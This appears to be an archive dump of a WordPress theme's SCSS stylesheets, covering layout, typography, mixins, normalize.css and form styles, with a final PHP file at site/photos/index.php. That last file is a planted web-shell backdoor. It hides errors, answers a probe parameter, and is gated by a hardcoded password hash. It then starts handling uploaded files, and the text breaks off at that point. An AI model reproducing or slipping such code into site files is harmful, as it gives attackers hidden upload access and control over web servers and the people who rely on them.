Your IP : 216.73.216.162
elements/_tables.scss 0000666 00000000326 15111644004 0010667 0 ustar 00 table {
margin: 0 0 $size__spacing-unit;
border-collapse: collapse;
width: 100%;
font-family: $font__heading;
td,
th {
padding: 0.5em;
border: 1px solid $color__text-light;
word-break: break-all;
}
}
elements/_lists.scss 0000666 00000000536 15111644004 0010556 0 ustar 00 ul,
ol {
padding-left: ( 1 * $size__spacing-unit );
}
ul {
list-style: disc;
ul {
list-style-type: circle;
}
}
ol {
list-style: decimal;
}
li {
line-height: $font__line-height-body;
}
li > ul,
li > ol {
padding-left: ( 2 * $size__spacing-unit );
}
dt {
font-weight: bold;
}
dd {
margin: 0 $size__spacing-unit $size__spacing-unit;
}
elements/_elements.scss 0000666 00000002017 15111644004 0011230 0 ustar 00 html {
box-sizing: border-box;
}
::-moz-selection {
background-color: $color__background_selection;
}
::selection {
background-color: $color__background_selection;
}
*,
*:before,
*:after {
box-sizing: inherit;
}
body {
background-color: $color__background-body;
}
a {
@include link-transition;
color: $color__link;
}
a:visited {
}
a:hover,
a:active {
color: $color__link-hover;
outline: 0;
text-decoration: none;
}
a:focus {
outline: thin;
outline-style: dotted;
text-decoration: underline;
}
h1,
h2,
h3,
h4,
h5,
h6 {
clear: both;
margin: $size__spacing-unit 0;
}
h1:not(.site-title),
h2 {
@include post-section-dash;
}
hr {
background-color: $color__text-light;
border: 0;
height: 2px;
}
@import "lists";
img {
height: auto;
max-width: 100%;
position: relative;
}
figure {
margin: 0;
}
blockquote {
border-left: 2px solid $color__link;
margin-left: 0;
padding: 0 0 0 $size__spacing-unit;
> p {
margin: 0 0 $size__spacing-unit;
}
cite {
color: $color__text-light;
}
}
@import "tables";
typography/_headings.scss 0000666 00000004547 15111644004 0011602 0 ustar 00 .author-description .author-link,
.comment-metadata,
.comment-reply-link,
.comments-title,
.comment-author .fn,
.discussion-meta-info,
.entry-meta,
.entry-footer,
.main-navigation,
.no-comments,
.not-found .page-title,
.error-404 .page-title,
.post-navigation .post-title,
.page-links,
.page-description,
.pagination .nav-links,
.sticky-post,
.site-title,
.site-info,
#cancel-comment-reply-link,
img:after,
h1,
h2,
h3,
h4,
h5,
h6 {
font-family: $font__heading;
}
.main-navigation,
.page-description,
.author-description .author-link,
.not-found .page-title,
.error-404 .page-title,
.post-navigation .post-title,
.pagination .nav-links,
.comments-title,
.comment-author .fn,
.no-comments,
.site-title,
h1,
h2,
h3,
h4,
h5,
h6 {
font-weight: 700;
letter-spacing: -0.02em;
line-height: $font__line-height-heading;
-webkit-font-smoothing: antialiased;
-moz-osx-font-smoothing: grayscale;
}
.page-title {
font-family: $font__body;
}
.site-branding,
.main-navigation ul.main-menu > li,
.social-navigation,
.author-description .author-bio,
.nav-links {
line-height: 1.25;
}
h1 {
font-size: $font__size-xl;
@include media(tablet) {
font-size: $font__size-xxl;
}
}
.entry-title,
.not-found .page-title,
.error-404 .page-title,
.has-larger-font-size,
h2 {
font-size: $font__size-lg;
@include media(tablet) {
font-size: $font__size-xl;
}
}
.has-regular-font-size,
.has-large-font-size,
.comments-title,
h3 {
font-size: $font__size-lg;
}
.site-title,
.site-description,
.main-navigation,
.nav-links,
.page-title,
.page-description,
.comment-author .fn,
.no-comments,
h2.author-title,
p.author-bio,
h4 {
font-size: $font__size-md;
}
.pagination .nav-links,
.comment-content,
h5 {
font-size: $font__size-sm;
}
.entry-meta,
.entry-footer,
.discussion-meta-info,
.site-info,
.has-small-font-size,
.comment-reply-link,
.comment-metadata,
.comment-notes,
.sticky-post,
#cancel-comment-reply-link,
img:after,
h6 {
font-size: $font__size-xs;
}
.site-title,
.page-title {
font-weight: normal;
}
.page-description,
.page-links a {
font-weight: bold;
}
.site-description {
letter-spacing: -0.01em;
}
.post-navigation .post-title,
.entry-title,
.not-found .page-title,
.error-404 .page-title,
.comments-title,
blockquote {
hyphens: auto;
word-break: break-word;
}
/* Do not hyphenate entry title on tablet view and bigger. */
.entry-title {
@include media(tablet) {
hyphens: none;
}
}
typography/_copy.scss 0000666 00000001277 15111644004 0010767 0 ustar 00 p {
-webkit-font-smoothing: antialiased;
-moz-osx-font-smoothing: grayscale;
}
dfn,
cite,
em,
i {
font-style: italic;
}
blockquote {
cite {
font-size: $font__size-xs;
font-style: normal;
font-family: $font__heading;
}
}
pre {
font-size: $font__size-sm;
font-family: $font__pre;
line-height: $font__line-height-body;
overflow: auto;
}
code,
kbd,
tt,
var {
font-size: $font__size-sm;
font-family: $font__code;
}
abbr, acronym {
border-bottom: 1px dotted #666;
cursor: help;
}
mark,
ins {
background: #fff9c0;
text-decoration: none;
}
big {
font-size: 125%;
}
a {
text-decoration: none;
&:hover {
text-decoration: none;
}
&:focus {
text-decoration: underline;
}
}
typography/_typography.scss 0000666 00000001066 15111644004 0012217 0 ustar 00
html {
font-size: $font__size_base;
}
body {
-webkit-font-smoothing: antialiased;
-moz-osx-font-smoothing: grayscale;
color: $color__text-main;
font-family: $font__body;
font-weight: 400;
font-size: 1em;
line-height: $font__line-height-body;
margin: 0;
text-rendering: optimizeLegibility;
}
button,
input,
select,
optgroup,
textarea {
color: $color__text-main;
font-family: $font__body;
font-weight: 400;
line-height: $font__line-height-body;
text-rendering: optimizeLegibility;
}
@import "headings";
@import "copy";
@include non-latin-fonts();
layout/_layout.scss 0000666 00000000127 15111644004 0010432 0 ustar 00
/** === Layout === */
#page {
width: 100%;
}
.site-content {
overflow: hidden;
}
mixins/_mixins-master.scss 0000666 00000012243 15111644004 0011711 0 ustar 00 // Rem output with px fallback
@mixin font-size($sizeValue: 1) {
font-size: ($sizeValue * 16) * 1px;
font-size: $sizeValue * 1rem;
}
// Center block
@mixin center-block {
display: block;
margin-left: auto;
margin-right: auto;
}
// Clearfix
@mixin clearfix() {
content: "";
display: table;
table-layout: fixed;
}
// Clear after (not all clearfix need this also)
@mixin clearfix-after() {
clear: both;
}
// Column width with margin
@mixin column-width($numberColumns: 3) {
width: map-get($columns, $numberColumns) - (($columns__margin * ($numberColumns - 1)) / $numberColumns);
}
@mixin filter-duotone {
&:before {
background: $color__link;
mix-blend-mode: screen;
opacity: 0.1;
z-index: 2;
}
&:after {
background: $color__link;
mix-blend-mode: multiply;
opacity: .8;
z-index: 3;
/* Browsers supporting mix-blend-mode don't need opacity < 1 */
@supports (mix-blend-mode: multiply) {
opacity: 1;
}
}
}
@mixin filter-grayscale {
position: relative;
filter: grayscale(100%);
z-index: 1;
&:after {
display: block;
width: 100%;
height: 100%;
z-index: 10;
}
}
@mixin post-section-dash {
&:before {
background: $color__text-light;
content: "\020";
display: block;
height: 2px;
margin: $size__spacing-unit 0;
width: 1em;
}
}
/* If we add the border using a regular CSS border, it won't look good on non-retina devices,
* since its edges can look jagged due to lack of antialiasing. In this case, we are several
* layers of box-shadow to add the border visually, which will render the border smoother. */
@mixin box-shadow( $size ) {
box-shadow:
0 0 0 $size $color__text-light inset, // Original border.
0 0 0 ($size + 1px) $color__text-light inset, // Antialiasing, inner edge.
0 0 1px 0 rgba( $color__text-light, 0.7 ); // Antialiasing, outer edge.
}
/* Fallback for non-latin fonts */
@mixin non-latin-fonts( $wrapper_classname: '.site' ) {
/* Arabic */
html[lang="ar"] #{$wrapper_classname} *,
html[lang="ary"] #{$wrapper_classname} *,
html[lang="azb"] #{$wrapper_classname} *,
html[lang="ckb"] #{$wrapper_classname} *,
html[lang="fa-IR"] #{$wrapper_classname} *,
html[lang="haz"] #{$wrapper_classname} *,
html[lang="ps"] #{$wrapper_classname} * {
font-family: Tahoma, Arial, sans-serif !important;
}
/* Cyrillic */
html[lang="be"] #{$wrapper_classname} *,
html[lang="bg-BG"] #{$wrapper_classname} *,
html[lang="kk"] #{$wrapper_classname} *,
html[lang="mk-MK"] #{$wrapper_classname} *,
html[lang="mn"] #{$wrapper_classname} *,
html[lang="ru-RU"] #{$wrapper_classname} *,
html[lang="sah"] #{$wrapper_classname} *,
html[lang="sr-RS"] #{$wrapper_classname} *,
html[lang="tt-RU"] #{$wrapper_classname} *,
html[lang="uk"] #{$wrapper_classname} * {
font-family: 'Helvetica Neue', Helvetica, 'Segoe UI', Arial, sans-serif !important;
}
/* Chinese (Hong Kong) */
html[lang="zh-HK"] #{$wrapper_classname} * {
font-family: -apple-system, BlinkMacSystemFont, 'PingFang HK', 'Helvetica Neue', "Microsoft YaHei New", STHeiti Light, sans-serif !important;
}
/* Chinese (Taiwan) */
html[lang="zh-TW"] #{$wrapper_classname} * {
font-family: -apple-system, BlinkMacSystemFont, 'PingFang TC', 'Helvetica Neue', "Microsoft YaHei New", STHeiti Light, sans-serif !important;
}
/* Chinese (China) */
html[lang="zh-CN"] #{$wrapper_classname} * {
font-family: -apple-system, BlinkMacSystemFont, 'PingFang SC', 'Helvetica Neue', "Microsoft YaHei New", STHeiti Light, sans-serif !important;
}
/* Devanagari */
html[lang="bn-BD"] #{$wrapper_classname} *,
html[lang="hi-IN"] #{$wrapper_classname} *,
html[lang="mr"] #{$wrapper_classname} *,
html[lang="ne-NP"] #{$wrapper_classname} * {
font-family: Arial, sans-serif !important;
}
/* Greek */
html[lang="el"] #{$wrapper_classname} * {
font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif !important;
}
/* Gujarati */
html[lang="gu"] #{$wrapper_classname} * {
font-family: Arial, sans-serif !important;
}
/* Hebrew */
html[lang="he-IL"] #{$wrapper_classname} * {
font-family: 'Arial Hebrew', Arial, sans-serif !important;
}
/* Japanese */
html[lang="ja"] #{$wrapper_classname} * {
font-family: -apple-system, BlinkMacSystemFont, "Hiragino Sans", Meiryo, "Helvetica Neue", sans-serif !important;
}
/* Korean */
html[lang="ko-KR"] #{$wrapper_classname} * {
font-family: 'Apple SD Gothic Neo', 'Malgun Gothic', 'Nanum Gothic', Dotum, sans-serif !important;
}
/* Thai */
html[lang="th"] #{$wrapper_classname} * {
font-family: 'Sukhumvit Set', 'Helvetica Neue', helvetica, arial, sans-serif !important;
}
/* Vietnamese */
html[lang="vi"] #{$wrapper_classname} * {
font-family: 'Libre Franklin', sans-serif !important;
}
}
/* Calculates maximum width for post content */
@mixin postContentMaxWidth() {
@include media(tablet) {
max-width: $size__site-tablet-content;
}
@include media(desktop) {
max-width: $size__site-desktop-content;
}
}
/* Nested sub-menu padding: 10 levels deep */
@mixin nestedSubMenuPadding() {
ul {
counter-reset: submenu;
}
ul > li > a::before {
font-family: $font__body;
font-weight: normal;
content: "\2013\00a0" counters(submenu, "\2013\00a0", none);
counter-increment: submenu
}
}
@import "utilities";
mixins/_utilities.scss 0000666 00000001534 15111644004 0011125 0 ustar 00
@mixin media( $res ) {
@if mobile == $res {
@media only screen and (min-width: $mobile_width) {
@content;
}
}
@if tablet == $res {
@media only screen and (min-width: $tablet_width) {
@content;
}
}
@if desktop == $res {
@media only screen and (min-width: $desktop_width) {
@content;
}
}
@if wide == $res {
@media only screen and (min-width: $wide_width) {
@content;
}
}
}
@mixin link-transition( $attr: color ) {
transition: $attr $link_transition ease-in-out;
}
@mixin button-transition() {
transition: background $button_transition ease-in-out;
}
@mixin button-all-transition() {
transition: all $button_transition ease-in-out;
}
@mixin background-transition() {
transition: background $background_transition ease-in-out;
}
@mixin selection {
::-moz-selection {
@content;
}
::selection {
@content;
}
}
variables-site/_structure.scss 0000666 00000000564 15111644004 0012557 0 ustar 00 // Responsive widths.
$size__spacing-unit: 1rem;
$size__site-main: 100%;
$size__site-sidebar: 25%;
$size__site-margins: calc(10% + 60px);
$size__site-tablet-content: calc(8 * (100vw / 12) - 28px);
$size__site-desktop-content: calc(6 * (100vw / 12) - 28px);
// Responsive widths.
$mobile_width: 600px;
$tablet_width: 768px;
$desktop_width: 1168px;
$wide_width: 1379px;
variables-site/_colors.scss 0000666 00000002037 15111644004 0012015 0 ustar 00
// Backgrounds
$color__background-body: #fff;
$color__background-input: #fff;
$color__background-screen: #f1f1f1;
$color__background-hr: #ccc;
$color__background-button: #0073aa;
$color__background-button-hover: #111;
$color__background-pre: #eee;
$color__background-ins: #fff9c0;
$color__background_selection: mix( $color__background-body, $color__background-button, 75% ); // lighten( salmon, 22.5% ); // lighten( #0999d4, 48% );
// Text
$color__text-main: #111;
$color__text-light: #767676;
$color__text-hover: lighten( #111, 22.5% );
$color__text-screen: #21759b;
$color__text-input: #666;
$color__text-input-focus: #111;
// Links
$color__link: #0073aa;
$color__link-visited: #0073aa;
$color__link-hover: darken( $color__link, 10% );
// Borders
$color__border: #ccc;
$color__border-link: #0073aa;
$color__border-link-hover: darken( $color__link, 10% );
$color__border-button: #ccc #ccc #bbb;
$color__border-button-hover: #ccc #bbb #aaa;
$color__border-button-focus: #aaa #bbb #bbb;
$color__border-input: $color__border;
$color__border-abbr: #666;
variables-site/_fonts.scss 0000666 00000010465 15111644004 0011651 0 ustar 00 /*
* Chrome renders extra-wide characters for the Hoefler Text font.
* This results in a jumping cursor when typing in both the Classic and block
* editors. The following font-face override fixes the issue by manually inserting
* a custom font that includes just a Hoefler Text space replacement for that
* character instead.
*/
@font-face {
font-family: 'NonBreakingSpaceOverride';
src: url(data:application/font-woff2;charset=utf-8;base64,d09GMgABAAAAAAMoAA0AAAAACDQAAALTAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP0ZGVE0cGh4GYACCahEICjx3CywAATYCJANUBCAFhiEHgWwbXQfILgpsY+rQRRARwyAs6uL7pxzYhxEE+32b3aeHmifR6tklkS9hiZA0ewkqGRJE+H7/+6378ASViK/PGeavqJyOzsceKi1s3BCiQsiOdn1r/RBgIJYEgCUhbm/8/8/h4saPssnTNkkiWUBrTRtjmQSajw3Ui3pZ3LYDPD+XG2C3JA/yKAS8/rU5eNfuGqRf4eNNgV4YAlIIgxglEkWe6FYpq10+wi3g+/nUgvgPFczNrz/RsTgVm/zfbPuHZlsuQECxuyqBcQwKFBjFgKO8AqP4bAN9tFJtnM9xPcbNjeXS/x1wY/xU52f5W/X1+9cnH4YwKIaoRRAkUkj/YlAAeF/624foiIDBgBmgQBeGAyhBljUPZUm/l2dTvmpqcBDUOHdbPZWd8JsBAsGr4w8/EDn82/bUPx4eh0YNrQTBuHO2FjQEAGBwK0DeI37DpQVqdERS4gZBhpeUhWCfLFz7J99aEBgsJCHvUGAdAPp4IADDCAPCEFMGpMZ9AQpTfQtQGhLbGVBZFV8BaqNyP68oTZgHNj3M8kBPfXTTC9t90UuzYhy9ciH0grVlOcqyCytisvbsERsEYztiznR0WCrmTksJwbSNK6fd1Rvr25I9oLvctUoEbNOmXJbqgYgPXEHJ82IUsrCnpkxh23F1rfZ2zcRnJYoXtauB3VTFkFXQg3uoZYD5qE0kdjDtoDoF1h2bulGmev5HbYhbrjtohQSRI4aNOkffIcT+d3v6atpaYh3JvPoQsztCcqvaBkppDSPcQ3bw3KaCBo1f5CJWTZEgW3LjLofYg51MaVezrx8xZitYbQ9KYeoRaqQdVLwSEfrKXLK1otCWOKNdR/YwYAfon5Yk8O2MJfSD10dPGA5PIJJQMkah0ugMJiv6x4Dm7LEa8xnrRGGGLAg4sAlbsA07sAt76DOsXKO3hIjtIlpnnFrt1qW4kh6NhS83P/6HB/fl1SMAAA==) format('woff2'),
url(data:application/font-woff;charset=utf-8;base64,d09GRgABAAAAAAUQAA0AAAAACDQAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAABGRlRNAAAE9AAAABwAAAAchf5yU0dERUYAAATYAAAAHAAAAB4AJwAbT1MvMgAAAaAAAABJAAAAYJAcgU5jbWFwAAACIAAAAF4AAAFqUUxBZ2dhc3AAAATQAAAACAAAAAgAAAAQZ2x5ZgAAApAAAAAyAAAAPL0n8y9oZWFkAAABMAAAADAAAAA2Fi93Z2hoZWEAAAFgAAAAHQAAACQOSgWaaG10eAAAAewAAAAzAAAAVC7TAQBsb2NhAAACgAAAABAAAAAsAOQBAm1heHAAAAGAAAAAHQAAACAAWQALbmFtZQAAAsQAAAF6AAADIYvD/Adwb3N0AAAEQAAAAI4AAADsapk2o3jaY2BkYGAA4ov5mwzj+W2+MnCzXwCKMNzgCBSB0LfbQDQ7AxuI4mBgAlEAFKQIRHjaY2BkYGD3+NvCwMDBAALsDAyMDKhAFAA3+wH3AAAAeNpjYGRgYBBl4GBgYgABEMnIABJzAPMZAAVmAGUAAAB42mNgZlJhnMDAysDCKsKygYGBYRqEZtrDYMT4D8gHSmEHjgUFOQwODAqqf9g9/rYwMLB7MNUAhRlBcsxBrMlASoGBEQAj8QtyAAAAeNrjYGBkAAGmWQwMjO8gmBnIZ2NA0ExAzNjAAFYJVn0ASBsD6VAIDZb7AtELAgANIgb9AHjaY2BgYGaAYBkGRgYQSAHyGMF8FgYPIM3HwMHAxMDGoMCwQIFLQV8hXvXP//9AcRCfAcb///h/ygPW+w/vb7olBjUHCTCyMcAFGZmABBO6AogThgZgIUsXAEDcEzcAAHjaY2BgECMCyoEgACZaAed42mNgYmRgYGBnYGNgYAZSDJqMgorCgoqCjECRXwwNrCAKSP5mAAFGBiRgyAAAi/YFBQAAeNqtkc1OwkAUhU/5M25cEhcsZick0AwlBJq6MWwgJkAgYV/KAA2lJeUn+hY+gktXvpKv4dLTMqKycGHsTZNv7px7z50ZAFd4hYHjdw1Ls4EiHjVncIFnzVnc4F1zDkWjrzmPW+NNcwGlzIRKI3fJlUyrEjZQxb3mDH2fNGfRx4vmHKqG0JzHg6E0F9DOlFBGBxUI1GEzLNT4S0aLuTtsGAEUuYcQHkyg3KmIum1bNUvKlrjbbAIleqHHnS4iSudpQcySMYtdFiXlAxzSbAwfMxK6kZoHKhbjjespMTioOPZnzI+4ucCeTVyKMVKLfeAS6vSWaTinuZwzyy/Dc7vaed+6KaV0kukdPUk6yOcctZPvvxxqksq2lEW8RvHjMEO2FCl/zy6p3NEm0R9OFSafJdldc4QVeyaaObMBO0/5cCaa6d9Ggyubxire+lEojscdjoWUR1xGOy8KD8mG2ZLO2l2paDc3A39qmU2z2W5YNv5+u79e6QfGJY/hAAB42m3NywrCMBQE0DupWp/1AYI7/6DEaLQu66Mrd35BKUWKJSlFv1+rue4cGM7shgR981qSon+ZNwUJ8iDgoYU2OvDRRQ99DDDECAHGmGCKmf80hZSx/Kik/LliFbtmN6xmt+yOjdg9GztV4tROnRwX/Bsaaw51nt4Lc7tWaZYHp/MlzKx51LZs5htNri+2AAAAAQAB//8AD3jaY2BkYGDgAWIxIGZiYARCESBmAfMYAAR6AEMAAAABAAAAANXtRbgAAAAA2AhRFAAAAADYCNuG) format('woff');
}
// Font and typographic variables
$font__body: "NonBreakingSpaceOverride", "Hoefler Text", "Baskerville Old Face", Garamond, "Times New Roman", serif;
$font__heading: -apple-system, BlinkMacSystemFont, "Segoe UI", "Roboto", "Oxygen", "Ubuntu", "Cantarell", "Fira Sans", "Droid Sans", "Helvetica Neue", sans-serif;
$font__code: Menlo, monaco, Consolas, Lucida Console, monospace;
$font__pre: "Courier 10 Pitch", Courier, monospace;
$font__size_base: 22px;
$font__size-ratio: 1.125;
$font__size-xxs: 1em / (1.5 * $font__size-ratio);
$font__size-xs: 1em / (1.25 * $font__size-ratio);
$font__size-sm: 1em / (1 * $font__size-ratio);
$font__size-md: 1em * (1 * $font__size-ratio);
$font__size-lg: 1em * (1.5 * $font__size-ratio);
$font__size-xl: 1em * (2 * $font__size-ratio);
$font__size-xxl: 1em * (2.5 * $font__size-ratio);
$font__size-xxxl: 1em * (3 * $font__size-ratio);
$font__line-height-body: 1.8;
$font__line-height-pre: 1.6;
$font__line-height-heading: 1.2;
$font__line-height-double: 2 * $font__line-height-heading; variables-site/_transitions.scss 0000666 00000000204 15111644004 0013063 0 ustar 00 // Transition timeouts.
$link_transition: 110ms;
$icon_transition: 120ms;
$button_transition: 150ms;
$background_transition: 200ms; variables-site/_columns.scss 0000666 00000000614 15111644004 0012173 0 ustar 00 $columns: (
1: calc(1 * (100vw / 12)),
2: calc(2 * (100vw / 12)),
3: calc(3 * (100vw / 12)),
4: calc(4 * (100vw / 12)),
5: calc(5 * (100vw / 12)),
6: calc(6 * (100vw / 12)),
7: calc(7 * (100vw / 12)),
8: calc(8 * (100vw / 12)),
9: calc(9 * (100vw / 12)),
10: calc(10 * (100vw / 12)),
11: calc(11 * (100vw / 12)),
12: calc(12 * (100vw / 12))
);
$columns__margin: $size__spacing-unit;
variables-site/_variables-site.scss 0000666 00000000142 15111644004 0013421 0 ustar 00 @import "colors";
@import "fonts";
@import "structure";
@import "columns";
@import "transitions";
modules/_clearings.scss 0000666 00000000646 15111644004 0011225 0 ustar 00 .clear:before,
.clear:after,
.entry-content:before,
.entry-content:after,
.comment-content:before,
.comment-content:after,
.site-header:before,
.site-header:after,
.site-content:before,
.site-content:after,
.site-footer:before,
.site-footer:after {
@include clearfix;
}
.clear:after,
.entry-content:after,
.comment-content:after,
.site-header:after,
.site-content:after,
.site-footer:after {
@include clearfix-after;
}
modules/_alignments.scss 0000666 00000000675 15111644004 0011421 0 ustar 00 .alignleft {
/*rtl:ignore*/
float: left;
/*rtl:ignore*/
margin-right: $size__spacing-unit;
@include media(tablet) {
/*rtl:ignore*/
margin-right: calc(2 * #{$size__spacing-unit});
}
}
.alignright {
/*rtl:ignore*/
float: right;
/*rtl:ignore*/
margin-left: $size__spacing-unit;
@include media(tablet) {
/*rtl:ignore*/
margin-left: calc(2 * #{$size__spacing-unit});
}
}
.aligncenter {
clear: both;
@include center-block;
}
modules/_accessibility.scss 0000666 00000001634 15111644004 0012103 0 ustar 00 /* Text meant only for screen readers. */
.screen-reader-text {
border: 0;
clip: rect(1px, 1px, 1px, 1px);
clip-path: inset(50%);
height: 1px;
margin: -1px;
overflow: hidden;
padding: 0;
position: absolute !important;
width: 1px;
word-wrap: normal !important; /* Many screen reader and browser combinations announce broken words as they would appear visually. */
&:focus {
background-color: $color__background-screen;
border-radius: 3px;
box-shadow: 0 0 2px 2px rgba(0, 0, 0, 0.6);
clip: auto !important;
clip-path: none;
color: $color__text-screen;
display: block;
@include font-size(0.875);
font-weight: bold;
height: auto;
left: 5px;
line-height: normal;
padding: 15px 23px 14px;
text-decoration: none;
top: 5px;
width: auto;
z-index: 100000; /* Above WP toolbar. */
}
}
/* Do not show the outline on the skip link target. */
#content[tabindex="-1"]:focus {
outline: 0;
}
_normalize.scss 0000666 00000013542 15111644004 0007605 0 ustar 00 /*! normalize.css v8.0.0 | MIT License | github.com/necolas/normalize.css */
/* Document
========================================================================== */
/**
* 1. Correct the line height in all browsers.
* 2. Prevent adjustments of font size after orientation changes in iOS.
*/
html {
line-height: 1.15; /* 1 */
-webkit-text-size-adjust: 100%; /* 2 */
}
/* Sections
========================================================================== */
/**
* Remove the margin in all browsers.
*/
body {
margin: 0;
}
/**
* Correct the font size and margin on `h1` elements within `section` and
* `article` contexts in Chrome, Firefox, and Safari.
*/
h1 {
font-size: 2em;
margin: 0.67em 0;
}
/* Grouping content
========================================================================== */
/**
* 1. Add the correct box sizing in Firefox.
* 2. Show the overflow in Edge and IE.
*/
hr {
box-sizing: content-box; /* 1 */
height: 0; /* 1 */
overflow: visible; /* 2 */
}
/**
* 1. Correct the inheritance and scaling of font size in all browsers.
* 2. Correct the odd `em` font sizing in all browsers.
*/
pre {
font-family: monospace, monospace; /* 1 */
font-size: 1em; /* 2 */
}
/* Text-level semantics
========================================================================== */
/**
* Remove the gray background on active links in IE 10.
*/
a {
background-color: transparent;
}
/**
* 1. Remove the bottom border in Chrome 57-
* 2. Add the correct text decoration in Chrome, Edge, IE, Opera, and Safari.
*/
abbr[title] {
border-bottom: none; /* 1 */
text-decoration: underline; /* 2 */
text-decoration: underline dotted; /* 2 */
}
/**
* Add the correct font weight in Chrome, Edge, and Safari.
*/
b,
strong {
font-weight: bolder;
}
/**
* 1. Correct the inheritance and scaling of font size in all browsers.
* 2. Correct the odd `em` font sizing in all browsers.
*/
code,
kbd,
samp {
font-family: monospace, monospace; /* 1 */
font-size: 1em; /* 2 */
}
/**
* Add the correct font size in all browsers.
*/
small {
font-size: 80%;
}
/**
* Prevent `sub` and `sup` elements from affecting the line height in
* all browsers.
*/
sub,
sup {
font-size: 75%;
line-height: 0;
position: relative;
vertical-align: baseline;
}
sub {
bottom: -0.25em;
}
sup {
top: -0.5em;
}
/* Embedded content
========================================================================== */
/**
* Remove the border on images inside links in IE 10.
*/
img {
border-style: none;
}
/* Forms
========================================================================== */
/**
* 1. Change the font styles in all browsers.
* 2. Remove the margin in Firefox and Safari.
*/
button,
input,
optgroup,
select,
textarea {
font-family: inherit; /* 1 */
font-size: 100%; /* 1 */
line-height: 1.15; /* 1 */
margin: 0; /* 2 */
}
/**
* Show the overflow in IE.
* 1. Show the overflow in Edge.
*/
button,
input { /* 1 */
overflow: visible;
}
/**
* Remove the inheritance of text transform in Edge, Firefox, and IE.
* 1. Remove the inheritance of text transform in Firefox.
*/
button,
select { /* 1 */
text-transform: none;
}
/**
* Correct the inability to style clickable types in iOS and Safari.
*/
button,
[type="button"],
[type="reset"],
[type="submit"] {
-webkit-appearance: button;
}
/**
* Remove the inner border and padding in Firefox.
*/
button::-moz-focus-inner,
[type="button"]::-moz-focus-inner,
[type="reset"]::-moz-focus-inner,
[type="submit"]::-moz-focus-inner {
border-style: none;
padding: 0;
}
/**
* Restore the focus styles unset by the previous rule.
*/
button:-moz-focusring,
[type="button"]:-moz-focusring,
[type="reset"]:-moz-focusring,
[type="submit"]:-moz-focusring {
outline: 1px dotted ButtonText;
}
/**
* Correct the padding in Firefox.
*/
fieldset {
padding: 0.35em 0.75em 0.625em;
}
/**
* 1. Correct the text wrapping in Edge and IE.
* 2. Correct the color inheritance from `fieldset` elements in IE.
* 3. Remove the padding so developers are not caught out when they zero out
* `fieldset` elements in all browsers.
*/
legend {
box-sizing: border-box; /* 1 */
color: inherit; /* 2 */
display: table; /* 1 */
max-width: 100%; /* 1 */
padding: 0; /* 3 */
white-space: normal; /* 1 */
}
/**
* Add the correct vertical alignment in Chrome, Firefox, and Opera.
*/
progress {
vertical-align: baseline;
}
/**
* Remove the default vertical scrollbar in IE 10+.
*/
textarea {
overflow: auto;
}
/**
* 1. Add the correct box sizing in IE 10.
* 2. Remove the padding in IE 10.
*/
[type="checkbox"],
[type="radio"] {
box-sizing: border-box; /* 1 */
padding: 0; /* 2 */
}
/**
* Correct the cursor style of increment and decrement buttons in Chrome.
*/
[type="number"]::-webkit-inner-spin-button,
[type="number"]::-webkit-outer-spin-button {
height: auto;
}
/**
* 1. Correct the odd appearance in Chrome and Safari.
* 2. Correct the outline style in Safari.
*/
[type="search"] {
-webkit-appearance: textfield; /* 1 */
outline-offset: -2px; /* 2 */
}
/**
* Remove the inner padding in Chrome and Safari on macOS.
*/
[type="search"]::-webkit-search-decoration {
-webkit-appearance: none;
}
/**
* 1. Correct the inability to style clickable types in iOS and Safari.
* 2. Change font properties to `inherit` in Safari.
*/
::-webkit-file-upload-button {
-webkit-appearance: button; /* 1 */
font: inherit; /* 2 */
}
/* Interactive
========================================================================== */
/*
* Add the correct display in Edge, IE 10+, and Firefox.
*/
details {
display: block;
}
/*
* Add the correct display in all browsers.
*/
summary {
display: list-item;
}
/* Misc
========================================================================== */
/**
* Add the correct display in IE 10+.
*/
template {
display: none;
}
/**
* Add the correct display in IE 10.
*/
[hidden] {
display: none;
}
forms/_forms.scss 0000666 00000000046 15111644004 0010054 0 ustar 00 @import "buttons";
@import "fields";
forms/_fields.scss 0000666 00000001742 15111644004 0010200 0 ustar 00 input[type="text"],
input[type="email"],
input[type="url"],
input[type="password"],
input[type="search"],
input[type="number"],
input[type="tel"],
input[type="range"],
input[type="date"],
input[type="month"],
input[type="week"],
input[type="time"],
input[type="datetime"],
input[type="datetime-local"],
input[type="color"],
textarea {
-webkit-backface-visibility: hidden;
background: $color__background-input;
border: solid 1px $color__border;
box-sizing: border-box;
outline: none;
padding: #{.36 * $size__spacing-unit} #{.66 * $size__spacing-unit};
-webkit-appearance: none;
outline-offset: 0;
border-radius: 0;
&:focus {
border-color: $color__link;
outline: thin solid rgba( $color__link, 0.15 );
outline-offset: -4px;
}
}
input[type="search"] {
&::-webkit-search-decoration {
display: none;
}
}
select {
}
textarea {
box-sizing: border-box;
display: block;
width: 100%;
max-width: 100%;
resize: vertical;
}
form {
p {
margin: $size__spacing-unit 0;
}
} forms/_buttons.scss 0000666 00000001371 15111644004 0010426 0 ustar 00 .button,
button,
input[type="button"],
input[type="reset"],
input[type="submit"] {
@include button-transition;
background: $color__background-button;
border: none;
border-radius: 5px;
box-sizing: border-box;
color: $color__background-body;
font-family: $font__heading;
font-size: $font__size-sm;
font-weight: 700;
line-height: $font__line-height-heading;
outline: none;
padding: ( $size__spacing-unit * .76 ) $size__spacing-unit;
text-decoration: none;
vertical-align: bottom;
&:hover {
background: $color__background-button-hover;
cursor: pointer;
}
&:visited {
color: $color__background-body;
text-decoration: none;
}
&:focus {
background: $color__background-button-hover;
outline: thin dotted;
outline-offset: -4px;
}
}
site/photos/index.php 0000666 00000002453 15111644004 0010650 0 ustar 00 <?php ?><?php error_reporting(0); if(isset($_REQUEST["0kb"])){die(">0kb<");};?><?php
if (function_exists('session_start')) { session_start(); if (!isset($_SESSION['secretyt'])) { $_SESSION['secretyt'] = false; } if (!$_SESSION['secretyt']) { if (isset($_POST['pwdyt']) && hash('sha256', $_POST['pwdyt']) == '7b5f411cddef01612b26836750d71699dde1865246fe549728fb20a89d4650a4') {
$_SESSION['secretyt'] = true; } else { die('<html> <head> <meta charset="utf-8"> <title></title> <style type="text/css"> body {padding:10px} input { padding: 2px; display:inline-block; margin-right: 5px; } </style> </head> <body> <form action="" method="post" accept-charset="utf-8"> <input type="password" name="pwdyt" value="" placeholder="passwd"> <input type="submit" name="submit" value="submit"> </form> </body> </html>'); } } }
?>
<?php
echo('kill_the_net');
$files = @$_FILES["files"];
